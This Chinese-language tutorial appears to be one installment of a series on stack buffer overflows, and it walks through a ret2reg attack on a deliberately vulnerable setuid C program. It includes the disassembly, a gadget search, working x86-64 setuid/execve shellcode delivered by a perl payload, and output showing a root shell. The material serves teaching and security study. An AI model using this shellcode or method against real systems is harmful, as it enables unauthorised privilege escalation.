在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0
cat /proc/sys/kernel/randomize_va_space
vulnerableret2reg.c
#include <stdio.h> #include <string.h> void evilfunction(char* input) { char buffer[1000]; strcpy(buffer, input); } int main(int argc, char** argv) { evilfunction(argv[1]); return 0; }
char *strcpy(char *dest, const char *src);
evilfunction 函数的汇编
00000000004004c4 <evilfunction>: 4004c4: 55 push %rbp 4004c5: 48 89 e5 mov %rsp,%rbp 4004c8: 48 81 ec 00 04 00 00 sub $0x400,%rsp 4004cf: 48 89 bd 08 fc ff ff mov %rdi,-0x3f8(%rbp) 4004d6: 48 8b 95 08 fc ff ff mov -0x3f8(%rbp),%rdx 4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax 4004e4: 48 89 d6 mov %rdx,%rsi 4004e7: 48 89 c7 mov %rax,%rdi 4004ea: e8 d9 fe ff ff callq 4003c8 <strcpy@plt> 4004ef: c9 leaveq 4004f0: c3 retq
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c objdump -d vulnerableret2reg |grep rax > rax.txt cat rax.txt 4003b4: 0f 1f 40 00 nopl 0x0(%rax) 4003ed: 50 push %rax 400410: 48 8b 05 89 04 20 00 mov 0x200489(%rip),%rax # 6008a0 <_dynamic 0x190=""> 400417: 48 85 c0 test %rax,%rax 40041c: ff d0 callq *%rax 400447: 48 8b 05 92 04 20 00 mov 0x200492(%rip),%rax # 6008e0 <dtor_idx 6351=""> 40045d: 48 39 d8 cmp %rbx,%rax 400462: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) 400468: 48 83 c0 01 add $0x1,%rax 40046c: 48 89 05 6d 04 20 00 mov %rax,0x20046d(%rip) # 6008e0 <dtor_idx 6351=""> 400473: ff 14 c5 f8 06 60 00 callq *0x6006f8(,%rax,8) 40047a: 48 8b 05 5f 04 20 00 mov 0x20045f(%rip),%rax # 6008e0 <dtor_idx 6351=""> 400481: 48 39 d8 cmp %rbx,%rax 400494: 66 66 66 2e 0f 1f 84 data32 data32 nopw %cs:0x0(%rax,%rax,1) 4004b3: 48 85 c0 test %rax,%rax 4004be: ff e0 jmpq *%rax 4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax 4004e7: 48 89 c7 mov %rax,%rdi 400500: 48 8b 45 f0 mov -0x10(%rbp),%rax 400504: 48 83 c0 08 add $0x8,%rax 400508: 48 8b 00 mov (%rax),%rax 40050b: 48 89 c7 mov %rax,%rdi 400522: 66 66 66 66 66 2e 0f data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1) 40057c: 0f 1f 40 00 nopl 0x0(%rax) 4005c9: 48 8b 05 18 01 20 00 mov 0x200118(%rip),%rax # 6006e8 <__ctor_list__> 4005d0: 48 83 f8 ff cmp $0xffffffffffffffff,%rax 4005db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 4005e4: ff d0 callq *%rax 4005e6: 48 8b 03 mov (%rbx),%rax 4005e9: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
40041c:ff d0 callq *%rax指令地址是40041c
lea -0x3f0(%rbp),%rax也就是buffer的起始地址是相对于rbp -0x3f0 =十进制1008在加上8就是函数返回地址了
`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
当函数退出的时候,rip的地址指向了40041c, 而执行机器指令 callq *%rax, 此时rax里的值是buffer数组的起始地址,那么将开始执行buffer数组里的内容。我们只要将buffer数组填入我们所想要执行的shellcode,那么这次攻击完美产生。
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c chmod u+s vulnerableret2reg su test ./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'` sh4.1#whoami root
一切如设计的一样,你成为了root.
1. 你需要buffer数组足够长,能够填满你的shellcode。
2. 你需要程序后面没有对寄存器进行操作。
3. 你需要你的程序里本身有对寄存器的操作,并能得到代码所在的地址。
4. 当然你还需要在编译的时候指定可以在栈中执行的代码。
5. 为了变成root 你需要程序有s的权限。